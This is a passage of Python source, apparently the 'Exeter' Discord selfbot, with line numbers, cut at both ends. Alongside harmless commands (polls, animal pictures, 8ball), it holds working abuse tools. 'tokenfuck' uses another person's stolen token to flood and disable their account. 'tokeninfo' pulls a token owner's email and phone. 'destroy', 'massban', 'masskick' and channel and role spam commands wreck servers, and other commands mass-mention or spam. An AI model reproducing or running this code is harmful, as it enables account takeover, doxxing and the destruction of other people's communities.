WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/0.0.305 Chrome/69.0.3497.128 Electron/4.0.8 Safari/537.36' 1857 | } 1858 | if house == "bravery": 1859 | payload = {'house_id': 1} 1860 | elif house == "brilliance": 1861 | payload = {'house_id': 2} 1862 | elif house == "balance": 1863 | payload = {'house_id': 3} 1864 | elif house == "random": 1865 | houses = [1, 2, 3] 1866 | payload = {'house_id': random.choice(houses)} 1867 | try: 1868 | request.post('https://discordapp.com/api/v6/hypesquad/online', headers=headers, json=payload, timeout=10) 1869 | except Exception as e: 1870 | print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}" + Fore.RESET) 1871 | 1872 | 1873 | @Exeter.command(aliases=['tokenfucker', 'disable', 'crash']) 1874 | async def tokenfuck(ctx, _token): 1875 | await ctx.message.delete() 1876 | headers = { 1877 | 'User-Agent': 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7', 1878 | 'Content-Type': 'application/json', 1879 | 'Authorization': _token, 1880 | } 1881 | request = requests.Session() 1882 | payload = { 1883 | 'theme': "light", 1884 | 'locale': "ja", 1885 | 'message_display_compact': False, 1886 | 'inline_embed_media': False, 1887 | 'inline_attachment_media': False, 1888 | 'gif_auto_play': False, 1889 | 'render_embeds': False, 1890 | 'render_reactions': False, 1891 | 'animate_emoji': False, 1892 | 'convert_emoticons': False, 1893 | 'enable_tts_command': False, 1894 | 'explicit_content_filter': '0', 1895 | 'status': "invisible" 1896 | } 1897 | guild = { 1898 | 'channels': None, 1899 | 'icon': None, 1900 | 'name': "Exeter", 1901 | 'region': "europe" 1902 | } 1903 | for _i in range(50): 1904 | requests.post('https://discordapp.com/api/v6/guilds', headers=headers, json=guild) 1905 | while True: 1906 | try: 1907 | request.patch("https://canary.discordapp.com/api/v6/users/@me/settings", headers=headers, json=payload) 1908 | except Exception as e: 1909 | print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}" + Fore.RESET) 1910 | else: 1911 | break 1912 | modes = cycle(["light", "dark"]) 1913 | statuses = cycle(["online", "idle", "dnd", "invisible"]) 1914 | while True: 1915 | setting = { 1916 | 'theme': next(modes), 1917 | 'locale': random.choice(locales), 1918 | 'status': next(statuses) 1919 | } 1920 | while True: 1921 | try: 1922 | request.patch("https://canary.discordapp.com/api/v6/users/@me/settings", headers=headers, json=setting, 1923 | timeout=10) 1924 | except Exception as e: 1925 | print(f"{Fore.RED}[ERROR]: {Fore.YELLOW}{e}" + Fore.RESET) 1926 | else: 1927 | break 1928 | 1929 | 1930 | @Exeter.command(aliases=['fakeconnection', 'spoofconnection', 'spoofcon', "fakecon"]) 1931 | async def fakenet(ctx, _type=None, *, name=None): 1932 | await ctx.message.delete() 1933 | if _type is None or name is None: 1934 | await ctx.send("missing parameters") 1935 | return 1936 | ID = random.randrange(10000000, 90000000) 1937 | avaliable = [ 1938 | 'battlenet', 1939 | 'skype', 1940 | 'lol'] 1941 | payload = { 1942 | 'name': name, 1943 | 'visibility': 1 1944 | } 1945 | token = config.get('token') 1946 | headers = { 1947 | 'Authorization': token, 1948 | 'Content-Type': 'application/json', 1949 | } 1950 | 1951 | if name is None: 1952 | name = 'about:blank' 1953 | elif _type not in avaliable: 1954 | await ctx.send(f'Avaliable connections: `{avaliable}`', delete_after=3) 1955 | return 1956 | r = requests.put(f'https://canary.discordapp.com/api/v6/users/@me/connections/{_type}/{ID}', 1957 | data=json.dumps(payload), headers=headers) 1958 | if r.status_code == 200: 1959 | await ctx.send(f"Invalid connection_type: `{type}` with Username: `{name}` and ID: `{ID}`", delete_after=3) 1960 | else: 1961 | await ctx.send( 1962 | '**[ERROR]** `Exeter Fake-Connection doesn\'t work anymore because Discord patched connection-spoofing`') 1963 | 1964 | 1965 | @Exeter.command(aliases=['tokinfo', 'tdox']) 1966 | async def tokeninfo(ctx, _token): 1967 | await ctx.message.delete() 1968 | headers = { 1969 | 'Authorization': _token, 1970 | 'Content-Type': 'application/json' 1971 | } 1972 | try: 1973 | res = requests.get('https://canary.discordapp.com/api/v6/users/@me', headers=headers) 1974 | res = res.json() 1975 | user_id = res['id'] 1976 | locale = res['locale'] 1977 | avatar_id = res['avatar'] 1978 | language = languages.get(locale) 1979 | creation_date = datetime.datetime.utcfromtimestamp(((int(user_id) >> 22) + 1420070400000) / 1000).strftime( 1980 | '%d-%m-%Y %H:%M:%S UTC') 1981 | except KeyError: 1982 | headers = { 1983 | 'Authorization': "Bot " + _token, 1984 | 'Content-Type': 'application/json' 1985 | } 1986 | try: 1987 | res = requests.get('https://canary.discordapp.com/api/v6/users/@me', headers=headers) 1988 | res = res.json() 1989 | user_id = res['id'] 1990 | locale = res['locale'] 1991 | avatar_id = res['avatar'] 1992 | language = languages.get(locale) 1993 | creation_date = datetime.datetime.utcfromtimestamp(((int(user_id) >> 22) + 1420070400000) / 1000).strftime( 1994 | '%d-%m-%Y %H:%M:%S UTC') 1995 | em = discord.Embed( 1996 | description=f"Name: `{res['username']}#{res['discriminator']} ` **BOT**\nID: `{res['id']}`\nEmail: `{res['email']}`\nCreation Date: `{creation_date}`") 1997 | fields = [ 1998 | {'name': 'Flags', 'value': res['flags']}, 1999 | {'name': 'Local language', 'value': res['locale'] + f"{language}"}, 2000 | {'name': 'Verified', 'value': res['verified']}, 2001 | ] 2002 | for field in fields: 2003 | if field['value']: 2004 | em.add_field(name=field['name'], value=field['value'], inline=False) 2005 | em.set_thumbnail(url=f"https://cdn.discordapp.com/avatars/{user_id}/{avatar_id}") 2006 | return await ctx.send(embed=em) 2007 | except KeyError: 2008 | await ctx.send("Invalid token") 2009 | em = discord.Embed( 2010 | description=f"Name: `{res['username']}#{res['discriminator']}`\nID: `{res['id']}`\nEmail: `{res['email']}`\nCreation Date: `{creation_date}`") 2011 | nitro_type = "None" 2012 | if "premium_type" in res: 2013 | if res['premium_type'] == 2: 2014 | nitro_type = "Nitro Premium" 2015 | elif res['premium_type'] == 1: 2016 | nitro_type = "Nitro Classic" 2017 | fields = [ 2018 | {'name': 'Phone', 'value': res['phone']}, 2019 | {'name': 'Flags', 'value': res['flags']}, 2020 | {'name': 'Local language', 'value': res['locale'] + f"{language}"}, 2021 | {'name': 'MFA', 'value': res['mfa_enabled']}, 2022 | {'name': 'Verified', 'value': res['verified']}, 2023 | {'name': 'Nitro', 'value': nitro_type}, 2024 | ] 2025 | for field in fields: 2026 | if field['value']: 2027 | em.add_field(name=field['name'], value=field['value'], inline=False) 2028 | em.set_thumbnail(url=f"https://cdn.discordapp.com/avatars/{user_id}/{avatar_id}") 2029 | return await ctx.send(embed=em) 2030 | 2031 | 2032 | @Exeter.command(aliases=["copyguild", "copyserver"]) 2033 | async def copy(ctx): # b'\xfc' 2034 | await ctx.message.delete() 2035 | await Exeter.create_guild(f'backup-{ctx.guild.name}') 2036 | await asyncio.sleep(4) 2037 | for g in Exeter.guilds: 2038 | if f'backup-{ctx.guild.name}' in g.name: 2039 | for c in g.channels: 2040 | await c.delete() 2041 | for cate in ctx.guild.categories: 2042 | x = await g.create_category(f"{cate.name}") 2043 | for chann in cate.channels: 2044 | if isinstance(chann, discord.VoiceChannel): 2045 | await x.create_voice_channel(f"{chann}") 2046 | if isinstance(chann, discord.TextChannel): 2047 | await x.create_text_channel(f"{chann}") 2048 | try: 2049 | await g.edit(icon=ctx.guild.icon_url) 2050 | except: 2051 | pass 2052 | 2053 | 2054 | @Exeter.command() 2055 | async def poll(ctx, *, arguments): 2056 | await ctx.message.delete() 2057 | message = discord.utils.escape_markdown(arguments[str.find(arguments, "msg:"):str.find(arguments, "1:")]).replace( 2058 | "msg:", "") 2059 | option1 = discord.utils.escape_markdown(arguments[str.find(arguments, "1:"):str.find(arguments, "2:")]).replace( 2060 | "1:", "") 2061 | option2 = discord.utils.escape_markdown(arguments[str.find(arguments, "2:"):]).replace("2:", "") 2062 | message = await ctx.send(f'`Poll: {message}\nOption 1: {option1}\nOption 2: {option2}`') 2063 | await message.add_reaction('🅰') 2064 | await message.add_reaction('🅱') 2065 | 2066 | 2067 | @Exeter.command() 2068 | async def massmention(ctx, *, message=None): 2069 | await ctx.message.delete() 2070 | if len(list(ctx.guild.members)) >= 50: 2071 | userList = list(ctx.guild.members) 2072 | random.shuffle(userList) 2073 | sampling = random.choices(userList, k=50) 2074 | if message is None: 2075 | post_message = "" 2076 | for user in sampling: 2077 | post_message += user.mention 2078 | await ctx.send(post_message) 2079 | else: 2080 | post_message = message + "\n\n" 2081 | for user in sampling: 2082 | post_message += user.mention 2083 | await ctx.send(post_message) 2084 | else: 2085 | if message is None: 2086 | post_message = "" 2087 | for user in list(ctx.guild.members): 2088 | post_message += user.mention 2089 | await ctx.send(post_message) 2090 | else: 2091 | post_message = message + "\n\n" 2092 | for user in list(ctx.guild.members): 2093 | post_message += user.mention 2094 | await ctx.send(post_message) 2095 | 2096 | 2097 | @Exeter.command(aliases=["rekt", "nuke"]) 2098 | async def destroy(ctx): 2099 | await ctx.message.delete() 2100 | for user in list(ctx.guild.members): 2101 | try: 2102 | await user.ban() 2103 | except: 2104 | pass 2105 | for channel in list(ctx.guild.channels): 2106 | try: 2107 | await channel.delete() 2108 | except: 2109 | pass 2110 | for role in list(ctx.guild.roles): 2111 | try: 2112 | await role.delete() 2113 | except: 2114 | pass 2115 | try: 2116 | await ctx.guild.edit( 2117 | name=RandString(), 2118 | description="Exeter LOL", 2119 | reason="Exeter LOL", 2120 | icon=None, 2121 | banner=None 2122 | ) 2123 | except: 2124 | pass 2125 | for _i in range(250): 2126 | await ctx.guild.create_text_channel(name="exeter") 2127 | for _i in range(250): 2128 | await ctx.guild.create_role(name="exeter", color=RandomColor()) 2129 | 2130 | 2131 | @Exeter.command(aliases=["banwave", "banall", "etb"]) 2132 | async def massban(ctx): 2133 | await ctx.message.delete() 2134 | users = list(ctx.guild.members) 2135 | for user in users: 2136 | try: 2137 | await user.ban(reason="exeter") 2138 | except: 2139 | pass 2140 | 2141 | 2142 | @Exeter.command() 2143 | async def dynoban(ctx): 2144 | await ctx.message.delete() 2145 | for member in list(ctx.guild.members): 2146 | message = await ctx.send("?ban " + member.mention) 2147 | await message.delete() 2148 | await asyncio.sleep(1.5) 2149 | 2150 | 2151 | @Exeter.command(aliases=["kickall", "kickwave"]) 2152 | async def masskick(ctx): 2153 | await ctx.message.delete() 2154 | users = list(ctx.guild.members) 2155 | for user in users: 2156 | try: 2157 | await user.kick(reason="exeter") 2158 | except: 2159 | pass 2160 | 2161 | 2162 | @Exeter.command(aliases=["spamroles"]) 2163 | async def massrole(ctx): 2164 | await ctx.message.delete() 2165 | for _i in range(250): 2166 | try: 2167 | await ctx.guild.create_role(name="exeter", color=RandomColor()) 2168 | except: 2169 | return 2170 | 2171 | 2172 | @Exeter.command(aliases=["masschannels", "masschannel", "ctc"]) 2173 | async def spamchannels(ctx): 2174 | await ctx.message.delete() 2175 | for _i in range(250): 2176 | try: 2177 | await ctx.guild.create_text_channel(name="exeter") 2178 | except: 2179 | return 2180 | 2181 | 2182 | @Exeter.command(aliases=["delchannel"]) 2183 | async def delchannels(ctx): 2184 | await ctx.message.delete() 2185 | for channel in list(ctx.guild.channels): 2186 | try: 2187 | await channel.delete() 2188 | except: 2189 | return 2190 | 2191 | 2192 | @Exeter.command(aliases=["deleteroles"]) 2193 | async def delroles(ctx): 2194 | await ctx.message.delete() 2195 | for role in list(ctx.guild.roles): 2196 | try: 2197 | await role.delete() 2198 | except: 2199 | pass 2200 | 2201 | 2202 | @Exeter.command(aliases=["purgebans", "unbanall"]) 2203 | async def massunban(ctx): 2204 | await ctx.message.delete() 2205 | banlist = await ctx.guild.bans() 2206 | for users in banlist: 2207 | try: 2208 | await asyncio.sleep(2) 2209 | await ctx.guild.unban(user=users.user) 2210 | except: 2211 | pass 2212 | 2213 | 2214 | @Exeter.command() 2215 | async def spam(ctx, amount: int, *, message): 2216 | await ctx.message.delete() 2217 | for _i in range(amount): 2218 | await ctx.send(message) 2219 | 2220 | 2221 | @Exeter.command() 2222 | async def dm(ctx, user: discord.Member, *, message): 2223 | await ctx.message.delete() 2224 | user = Exeter.get_user(user.id) 2225 | if ctx.author.id == Exeter.user.id: 2226 | return 2227 | else: 2228 | try: 2229 | await user.send(message) 2230 | except: 2231 | pass 2232 | 2233 | 2234 | @Exeter.command(name='get-color', aliases=['color', 'colour', 'sc', "hexcolor", "rgb"]) 2235 | async def _get_color(ctx, *, color: discord.Colour): 2236 | await ctx.message.delete() 2237 | file = io.BytesIO() 2238 | Image.new('RGB', (200, 90), color.to_rgb()).save(file, format='PNG') 2239 | file.seek(0) 2240 | em = discord.Embed(color=color, title=f'{str(color)}') 2241 | em.set_image(url='attachment://color.png') 2242 | await ctx.send(file=discord.File(file, 'color.png'), embed=em) 2243 | 2244 | 2245 | @Exeter.command(aliases=['rainbowrole']) 2246 | async def rainbow(ctx, *, role): 2247 | await ctx.message.delete() 2248 | role = discord.utils.get(ctx.guild.roles, name=role) 2249 | while True: 2250 | try: 2251 | await role.edit(role=role, colour=RandomColor()) 2252 | await asyncio.sleep(10) 2253 | except: 2254 | break 2255 | 2256 | 2257 | @Exeter.command() 2258 | async def ping(ctx): 2259 | await ctx.message.delete() 2260 | before = time.monotonic() 2261 | message = await ctx.send("Pinging...") 2262 | ping = (time.monotonic() - before) * 1000 2263 | await message.edit(content=f"`{int(ping)} ms`") 2264 | 2265 | 2266 | @Exeter.command(aliases=["guildinfo"]) 2267 | async def serverinfo(ctx): 2268 | await ctx.message.delete() 2269 | date_format = "%a, %d %b %Y %I:%M %p" 2270 | embed = discord.Embed(title=f"{ctx.guild.name}", 2271 | description=f"{len(ctx.guild.members)} Members\n {len(ctx.guild.roles)} Roles\n {len(ctx.guild.text_channels)} Text-Channels\n {len(ctx.guild.voice_channels)} Voice-Channels\n {len(ctx.guild.categories)} Categories", 2272 | timestamp=datetime.datetime.utcnow(), color=discord.Color.blue()) 2273 | embed.add_field(name="Server created at", value=f"{ctx.guild.created_at.strftime(date_format)}") 2274 | embed.add_field(name="Server Owner", value=f"{ctx.guild.owner}") 2275 | embed.add_field(name="Server Region", value=f"{ctx.guild.region}") 2276 | embed.add_field(name="Server ID", value=f"{ctx.guild.id}") 2277 | embed.set_thumbnail(url=f"{ctx.guild.icon_url}") 2278 | await ctx.send(embed=embed) 2279 | 2280 | 2281 | @Exeter.command() 2282 | async def wizz(ctx): 2283 | await ctx.message.delete() 2284 | if isinstance(ctx.message.channel, discord.TextChannel): 2285 | print("hi") 2286 | initial = random.randrange(0, 60) 2287 | message = await ctx.send(f"`Wizzing {ctx.guild.name}, will take {initial} seconds to complete`\n") 2288 | await asyncio.sleep(1) 2289 | await message.edit( 2290 | content=f"`Wizzing {ctx.guild.name}, will take {initial} seconds to complete`\n`Deleting {len(ctx.guild.roles)} Roles...\n`") 2291 | await asyncio.sleep(1) 2292 | await message.edit( 2293 | content=f"`Wizzing {ctx.guild.name}, will take {initial} seconds to complete`\n`Deleting {len(ctx.guild.roles)} Roles...\nDeleting {len(ctx.guild.text_channels)} Text Channels...`") 2294 | await asyncio.sleep(1) 2295 | await message.edit( 2296 | content=f"`Wizzing {ctx.guild.name}, will take {initial} seconds to complete`\n`Deleting {len(ctx.guild.roles)} Roles...\nDeleting {len(ctx.guild.text_channels)} Text Channels...\nDeleting {len(ctx.guild.voice_channels)} Voice Channels...`") 2297 | await asyncio.sleep(1) 2298 | await message.edit( 2299 | content=f"`Wizzing {ctx.guild.name}, will take {initial} seconds to complete`\n`Deleting {len(ctx.guild.roles)} Roles...\nDeleting {len(ctx.guild.text_channels)} Text Channels...\nDeleting {len(ctx.guild.voice_channels)} Voice Channels...\nDeleting {len(ctx.guild.categories)} Categories...`") 2300 | await asyncio.sleep(1) 2301 | await message.edit( 2302 | content=f"`Wizzing {ctx.guild.name}, will take {initial} seconds to complete`\n`Deleting {len(ctx.guild.roles)} Roles...\nDeleting {len(ctx.guild.text_channels)} Text Channels...\nDeleting {len(ctx.guild.voice_channels)} Voice Channels...\nDeleting {len(ctx.guild.categories)} Categories...\nDeleting Webhooks...`") 2303 | await asyncio.sleep(1) 2304 | await message.edit( 2305 | content=f"`Wizzing {ctx.guild.name}, will take {initial} seconds to complete`\n`Deleting {len(ctx.guild.roles)} Roles...\nDeleting {len(ctx.guild.text_channels)} Text Channels...\nDeleting {len(ctx.guild.voice_channels)} Voice Channels...\nDeleting {len(ctx.guild.categories)} Categories...\nDeleting Webhooks...\nDeleting Emojis`") 2306 | await asyncio.sleep(1) 2307 | await message.edit( 2308 | content=f"`Wizzing {ctx.guild.name}, will take {initial} seconds to complete`\n`Deleting {len(ctx.guild.roles)} Roles...\nDeleting {len(ctx.guild.text_channels)} Text Channels...\nDeleting {len(ctx.guild.voice_channels)} Voice Channels...\nDeleting {len(ctx.guild.categories)} Categories...\nDeleting Webhooks...\nDeleting Emojis\nInitiating Ban Wave...`") 2309 | await asyncio.sleep(1) 2310 | await message.edit( 2311 | content=f"`Wizzing {ctx.guild.name}, will take {initial} seconds to complete`\n`Deleting {len(ctx.guild.roles)} Roles...\nDeleting {len(ctx.guild.text_channels)} Text Channels...\nDeleting {len(ctx.guild.voice_channels)} Voice Channels...\nDeleting {len(ctx.guild.categories)} Categories...\nDeleting Webhooks...\nDeleting Emojis\nInitiating Ban Wave...\nInitiating Mass-DM`") 2312 | elif isinstance(ctx.message.channel, discord.DMChannel): 2313 | initial = random.randrange(1, 60) 2314 | message = await ctx.send( 2315 | f"`Wizzing {ctx.message.channel.recipient.name}, will take {initial} seconds to complete`\n") 2316 | await asyncio.sleep(1) 2317 | await message.edit( 2318 | content=f"`Wizzing {ctx.message.channel.recipient.name}, will take {initial} seconds to complete`\n`Saving {random.randrange(0, 1000)} Messages...\n`") 2319 | await asyncio.sleep(1) 2320 | await message.edit( 2321 | content=f"`Wizzing {ctx.message.channel.recipient.name}, will take {initial} seconds to complete`\n`Saving {random.randrange(0, 1000)} Messages...\nCaching {random.randrange(0, 1000)} Messages...`") 2322 | await asyncio.sleep(1) 2323 | await message.edit( 2324 | content=f"`Wizzing {ctx.message.channel.recipient.name}, will take {initial} seconds to complete`\n`Saving {random.randrange(0, 1000)} Messages...\nCaching {random.randrange(0, 1000)} Messages...\nDeleting {random.randrange(0, 1000)} Pinned Messages...`") 2325 | await asyncio.sleep(1) 2326 | await message.edit( 2327 | content=f"`Wizzing {ctx.message.channel.recipient.name}, will take {initial} seconds to complete`\n`Saving {random.randrange(0, 1000)} Messages...\nCaching {random.randrange(0, 1000)} Messages...\nDeleting {random.randrange(0, 1000)} Pinned Messages...\n`") 2328 | elif isinstance(ctx.message.channel, discord.GroupChannel): 2329 | initial = random.randrange(1, 60) 2330 | message = await ctx.send(f"`Wizzing {ctx.message.channel.name}, will take {initial} seconds to complete`\n") 2331 | await asyncio.sleep(1) 2332 | await message.edit( 2333 | content=f"`Wizzing {ctx.message.channel.name}, will take {initial} seconds to complete`\n`Saving {random.randrange(0, 1000)} Messages...\n`") 2334 | await asyncio.sleep(1) 2335 | await message.edit( 2336 | content=f"`Wizzing {ctx.message.channel.name}, will take {initial} seconds to complete`\n`Saving {random.randrange(0, 1000)} Messages...\nCaching {random.randrange(0, 1000)} Messages...`") 2337 | await asyncio.sleep(1) 2338 | await message.edit( 2339 | content=f"`Wizzing {ctx.message.channel.name}, will take {initial} seconds to complete`\n`Saving {random.randrange(0, 1000)} Messages...\nCaching {random.randrange(0, 1000)} Messages...\nDeleting {random.randrange(0, 1000)} Pinned Messages...`") 2340 | await asyncio.sleep(1) 2341 | await message.edit( 2342 | content=f"`Wizzing {ctx.message.channel.name}, will take {initial} seconds to complete`\n`Saving {random.randrange(0, 1000)} Messages...\nCaching {random.randrange(0, 1000)} Messages...\nDeleting {random.randrange(0, 1000)} Pinned Messages...\n`") 2343 | await asyncio.sleep(1) 2344 | await message.edit( 2345 | content=f"`Wizzing {ctx.message.channel.name}, will take {initial} seconds to complete`\n`Saving {random.randrange(0, 1000)} Messages...\nCaching {random.randrange(0, 1000)} Messages...\nDeleting {random.randrange(0, 1000)} Pinned Messages...\nKicking {len(ctx.message.channel.recipients)} Users...`") 2346 | 2347 | 2348 | @Exeter.command(name='8ball') 2349 | async def _ball(ctx, *, question): 2350 | await ctx.message.delete() 2351 | responses = [ 2352 | 'That is a resounding no', 2353 | 'It is not looking likely', 2354 | 'Too hard to tell', 2355 | 'It is quite possible', 2356 | 'That is a definite yes!', 2357 | 'Maybe', 2358 | 'There is a good chance' 2359 | ] 2360 | answer = random.choice(responses) 2361 | embed = discord.Embed() 2362 | embed.add_field(name="Question", value=question, inline=False) 2363 | embed.add_field(name="Answer", value=answer, inline=False) 2364 | embed.set_thumbnail(url="https://www.horoscope.com/images-US/games/game-magic-8-ball-no-text.png") 2365 | await ctx.send(embed=embed) 2366 | 2367 | 2368 | @Exeter.command(aliases=['slots', 'bet', "slotmachine"]) 2369 | async def slot(ctx): 2370 | await ctx.message.delete() 2371 | emojis = "🍎🍊🍐🍋🍉🍇🍓🍒" 2372 | a = random.choice(emojis) 2373 | b = random.choice(emojis) 2374 | c = random.choice(emojis) 2375 | slotmachine = f"**[ {a} {b} {c} ]\n{ctx.author.name}**," 2376 | if a == b == c: 2377 | await ctx.send(embed=discord.Embed.from_dict( 2378 | {"title": "Slot machine", "description": f"{slotmachine} All matchings, you won!"})) 2379 | elif (a == b) or (a == c) or (b == c): 2380 | await ctx.send(embed=discord.Embed.from_dict( 2381 | {"title": "Slot machine", "description": f"{slotmachine} 2 in a row, you won!"})) 2382 | else: 2383 | await ctx.send(embed=discord.Embed.from_dict( 2384 | {"title": "Slot machine", "description": f"{slotmachine} No match, you lost"})) 2385 | 2386 | 2387 | @Exeter.command() 2388 | async def tts(ctx, *, message): 2389 | await ctx.message.delete() 2390 | buff = await do_tts(message) 2391 | await ctx.send(file=discord.File(buff, f"{message}.wav")) 2392 | 2393 | 2394 | @Exeter.command(aliases=['guildpfp', 'serverpfp', 'servericon']) 2395 | async def guildicon(ctx): 2396 | await ctx.message.delete() 2397 | em = discord.Embed(title=ctx.guild.name) 2398 | em.set_image(url=ctx.guild.icon_url) 2399 | await ctx.send(embed=em) 2400 | 2401 | 2402 | @Exeter.command(aliases=['serverbanner']) 2403 | async def banner(ctx): 2404 | await ctx.message.delete() 2405 | em = discord.Embed(title=ctx.guild.name) 2406 | em.set_image(url=ctx.guild.banner_url) 2407 | await ctx.send(embed=em) 2408 | 2409 | 2410 | @Exeter.command(name='first-message', aliases=['firstmsg', 'fm', 'firstmessage']) 2411 | async def _first_message(ctx, channel: discord.TextChannel = None): 2412 | await ctx.message.delete() 2413 | if channel is None: 2414 | channel = ctx.channel 2415 | first_message = (await channel.history(limit=1, oldest_first=True).flatten())[0] 2416 | embed = discord.Embed(description=first_message.content) 2417 | embed.add_field(name="First Message", value=f"[Jump]({first_message.jump_url})") 2418 | await ctx.send(embed=embed) 2419 | 2420 | 2421 | @Exeter.command(aliases=["rc"]) 2422 | async def renamechannels(ctx, *, name): 2423 | await ctx.message.delete() 2424 | for channel in ctx.guild.channels: 2425 | await channel.edit(name=name) 2426 | 2427 | 2428 | @Exeter.command(aliases=["renameserver", "nameserver"]) 2429 | async def servername(ctx, *, name): 2430 | await ctx.message.delete() 2431 | await ctx.guild.edit(name=name) 2432 | 2433 | 2434 | @Exeter.command() 2435 | async def nickall(ctx, nickname): 2436 | await ctx.message.delete() 2437 | for user in list(ctx.guild.members): 2438 | try: 2439 | await user.edit(nick=nickname) 2440 | except: 2441 | pass 2442 | 2443 | 2444 | @Exeter.command() 2445 | async def youtube(ctx, *, search): 2446 | await ctx.message.delete() 2447 | query_string = parse.urlencode({'search_query': search}) 2448 | html_content = request.urlopen('http://www.youtube.com/results?' + query_string) 2449 | search_results = re.findall('href=\"\\/watch\\?v=(.{11})', html_content.read().decode()) 2450 | await ctx.send('https://www.youtube.com/watch?v=' + search_results[0]) 2451 | 2452 | 2453 | @Exeter.command() 2454 | async def prefix(ctx, prefix): 2455 | await ctx.message.delete() 2456 | Exeter.command_prefix = str(prefix) 2457 | 2458 | 2459 | @Exeter.command() 2460 | async def abc(ctx): 2461 | await ctx.message.delete() 2462 | ABC = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'ñ', 'o', 'p', 'q', 'r', 's', 't', 'u', 2463 | 'v', 'w', 'x', 'y', 'z'] 2464 | message = await ctx.send(ABC[0]) 2465 | await asyncio.sleep(2) 2466 | for _next in ABC[1:]: 2467 | await message.edit(content=_next) 2468 | await asyncio.sleep(2) 2469 | 2470 | 2471 | @Exeter.command(aliases=["100"]) 2472 | async def _100(ctx): 2473 | await ctx.message.delete() 2474 | message = ctx.send("Starting count to 100") 2475 | await asyncio.sleep(2) 2476 | for _ in range(100): 2477 | await message.edit(content=_) 2478 | await asyncio.sleep(2) 2479 | 2480 | 2481 | @Exeter.command(aliases=['bitcoin']) 2482 | async def btc(ctx): 2483 | await ctx.message.delete() 2484 | r = requests.get('https://min-api.cryptocompare.com/data/price?fsym=BTC&tsyms=USD,EUR') 2485 | r = r.json() 2486 | usd = r['USD'] 2487 | eur = r['EUR'] 2488 | em = discord.Embed(description=f'USD: `{str(usd)}$`\nEUR: `{str(eur)}€`') 2489 | em.set_author(name='Bitcoin', icon_url='https://cdn.pixabay.com/photo/2013/12/08/12/12/bitcoin-225079_960_720.png') 2490 | await ctx.send(embed=em) 2491 | 2492 | 2493 | @Exeter.command() 2494 | async def hastebin(ctx, *, message): 2495 | await ctx.message.delete() 2496 | r = requests.post("https://hastebin.com/documents", data=message).json() 2497 | await ctx.send(f"") 2498 | 2499 | 2500 | @Exeter.command(aliases=["fancy"]) 2501 | async def ascii(ctx, *, text): 2502 | await ctx.message.delete() 2503 | r = requests.get(f'http://artii.herokuapp.com/make?text={urllib.parse.quote_plus(text)}').text 2504 | if len('```' + r + '```') > 2000: 2505 | return 2506 | await ctx.send(f"```{r}```") 2507 | 2508 | 2509 | @Exeter.command(pass_context=True, aliases=["cyclename", "autoname", "autonick", "cycle"]) 2510 | async def cyclenick(ctx, *, text): 2511 | await ctx.message.delete() 2512 | global cycling 2513 | cycling = True 2514 | while cycling: 2515 | name = "" 2516 | for letter in text: 2517 | name = name + letter 2518 | await ctx.message.author.edit(nick=name) 2519 | 2520 | 2521 | @Exeter.command(aliases=["stopcyclename", "cyclestop", "stopautoname", "stopautonick", "stopcycle"]) 2522 | async def stopcyclenick(ctx): 2523 | await ctx.message.delete() 2524 | global cycling 2525 | cycling = False 2526 | 2527 | 2528 | @Exeter.command() 2529 | async def acceptfriends(ctx): 2530 | await ctx.message.delete() 2531 | for relationship in Exeter.user.relationships: 2532 | if relationship == discord.RelationshipType.incoming_request: 2533 | await relationship.accept() 2534 | 2535 | 2536 | @Exeter.command() 2537 | async def ignorefriends(ctx): 2538 | await ctx.message.delete() 2539 | for relationship in Exeter.user.relationships: 2540 | if relationship is discord.RelationshipType.incoming_request: 2541 | relationship.delete() 2542 | 2543 | 2544 | @Exeter.command() 2545 | async def delfriends(ctx): 2546 | await ctx.message.delete() 2547 | for relationship in Exeter.user.relationships: 2548 | if relationship is discord.RelationshipType.friend: 2549 | await relationship.delete() 2550 | 2551 | 2552 | @Exeter.command() 2553 | async def clearblocked(ctx): 2554 | await ctx.message.delete() 2555 | print(Exeter.user.relationships) 2556 | for relationship in Exeter.user.relationships: 2557 | if relationship is discord.RelationshipType.blocked: 2558 | print(relationship) 2559 | await relationship.delete() 2560 | 2561 | 2562 | @Exeter.command(aliases=["changeregions", "changeregion", "regionschange"]) 2563 | async def regionchange(ctx, amount): 2564 | await ctx.message.delete() 2565 | if isinstance(ctx.message.channel, discord.GroupChannel): 2566 | print() 2567 | 2568 | 2569 | @Exeter.command() 2570 | async def kickgc(ctx): 2571 | await ctx.message.delete() 2572 | if isinstance(ctx.message.channel, discord.GroupChannel): 2573 | for recipient in ctx.message.channel.recipients: 2574 | await ctx.message.channel.remove_recipients(recipient) 2575 | 2576 | 2577 | @Exeter.command(aliases=["gcleave"]) 2578 | async def leavegc(ctx): 2579 | await ctx.message.delete() 2580 | if isinstance(ctx.message.channel, discord.GroupChannel): 2581 | await ctx.message.channel.leave() 2582 | 2583 | 2584 | @Exeter.command() 2585 | async def massreact(ctx, emote): 2586 | await ctx.message.delete() 2587 | messages = await ctx.message.channel.history(limit=20).flatten() 2588 | for message in messages: 2589 | await message.add_reaction(emote) 2590 | 2591 | 2592 | @Exeter.command() 2593 | async def dog(ctx): 2594 | await ctx.message.delete() 2595 | r = requests.get("https://dog.ceo/api/breeds/image/random").json() 2596 | link = str(r['message']) 2597 | try: 2598 | async with aiohttp.ClientSession() as session: 2599 | async with session.get(link) as resp: 2600 | image = await resp.read() 2601 | with io.BytesIO(image) as file: 2602 | await ctx.send(file=discord.File(file, f"exeter_dog.png")) 2603 | except: 2604 | await ctx.send(link) 2605 | 2606 | 2607 | @Exeter.command() 2608 | async def cat(ctx): 2609 | await ctx.message.delete() 2610 | r = requests.get("https://api.thecatapi.com/v1/images/search").json() 2611 | link = str(r[0]["url"]) 2612 | try: 2613 | async with aiohttp.ClientSession() as session: 2614 | async with session.get(link) as resp: 2615 | image = await resp.read() 2616 | with io.BytesIO(image) as file: 2617 | await ctx.send(file=discord.File(file, f"exeter_cat.png")) 2618 | except: 2619 | await ctx.send(link) 2620 | 2621 | 2622 | @Exeter.command() 2623 | async def sadcat(ctx): 2624 | await ctx.message.delete() 2625 | r = requests.get("https://api.alexflipnote.dev/sadcat").json() 2626 | link = str(r['file']) 2627 | try: 2628 | async with aiohttp.ClientSession() as session: 2629 | async with session.get(link) as resp: 2630 | 